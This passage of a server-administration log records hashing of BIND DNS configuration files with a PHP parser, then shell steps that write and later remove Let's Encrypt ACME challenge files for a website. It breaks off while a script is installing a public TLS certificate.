MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 16:20:33: Establishing a connection
2026-03-02 16:21:32: Establishing a connection
2026-03-02 16:21:37: Establishing a connection
2026-03-02 16:21:37: 

PUT: /tmp/pkp768294

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-02 16:21:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp768294; rm /tmp/pkp768294'

2026-03-02 16:21:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-02 16:21:48: Establishing a connection
2026-03-02 16:21:48: Establishing a connection
2026-03-02 16:21:49: 

PUT: /tmp/pkp131576

#!/bin/bash
if [ -d "/var/www/heaster_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-02 16:21:49: 

chmod 755 /tmp/pkp131576; /tmp/pkp131576; rm /tmp/pkp131576

2026-03-02 16:21:49: 


1


2026-03-02 16:21:50: Establishing a connection
2026-03-02 16:21:50: 

PUT: /tmp/pkp313443

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
cat > n2cBPehmzeVhP6uu6Ne8yStK6hBOLhu6okB2VmfIDhM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
n2cBPehmzeVhP6uu6Ne8yStK6hBOLhu6okB2VmfIDhM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 n2cBPehmzeVhP6uu6Ne8yStK6hBOLhu6okB2VmfIDhM
cat > DfxcXIC1v9-N3zK0NsKUOnEzBvZoj-xLwNdpC137vds <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
DfxcXIC1v9-N3zK0NsKUOnEzBvZoj-xLwNdpC137vds.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 DfxcXIC1v9-N3zK0NsKUOnEzBvZoj-xLwNdpC137vds


2026-03-02 16:21:51: 

chmod 755 /tmp/pkp313443; /tmp/pkp313443; rm /tmp/pkp313443

2026-03-02 16:21:51: 




2026-03-02 16:22:04: Establishing a connection
2026-03-02 16:22:04: 

PUT: /tmp/pkp898573

#!/bin/bash
mkdir -p "/var/www/heaster_www/.well-known/acme-challenge/"
cd "/var/www/heaster_www/.well-known/acme-challenge/"
rm n2cBPehmzeVhP6uu6Ne8yStK6hBOLhu6okB2VmfIDhM
rm DfxcXIC1v9-N3zK0NsKUOnEzBvZoj-xLwNdpC137vds


2026-03-02 16:22:04: 

chmod 755 /tmp/pkp898573; /tmp/pkp898573; rm /tmp/pkp898573

2026-03-02 16:22:04: 




2026-03-02 16:22:04: Establishing a connection
2026-03-02 16:22:05: 

PUT: /tmp/pkp103481

#!/bin/bash
temp_file=$(mktemp)
TARGET=d76ac506d6f13662e06babf635b43fda.crt

cat > $temp_file <<'endmsg'
e3:1b:bc:1b:8a:cd:cb:52:91:61:c7:a3:24:8e:57:42

-----BEGIN CERTIFICATE-----
MIIFAjCCA+qgAwIBAgISBd8TW6Da2zT7egZi9cLsS9hnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzAyMTUyMzMwWhcNMjYwNTMxMTUyMzI5WjAWMRQwEgYDVQQD
EwtoZWFzdGVyLm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALm3
DfsE8/xDBJII7aR//jxprCnj83lSW01EVXT5P5Z+bfziQEuvOjwUxwE+Mr4lYBDR
GkZvdl2w+6fLFONIOZphu9UkQOYgKJxVk1T7TLcdCdzQd/RAkfSXAZZewk8Rp3+u
S8L9wySID/n2aZONypEmNDJZCXjS042M5FPyf0S3GYf1g2OSv8OX/TIExq/XTSLw
gW42b4FTOeL4tdW6qTFGe6iU4tUez5ZT6DG3hBjJOInp4cYJdtgKrZtLl/08rNI8
Xa87U39oSBVy4DajIZDoF1PozXQR5W2jQn1+GsY7nxWonbKR3gyYDZjujCh78mKK
XmxC3/Utww4W+0TAYtUCAwEAAaOCAiswggInMA4GA1UdDwEB/wQEAwIFoDATBgNV
HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTImEeB+XeE
xWRbT4XBgIcIeLKj4DAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAz
BggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5v
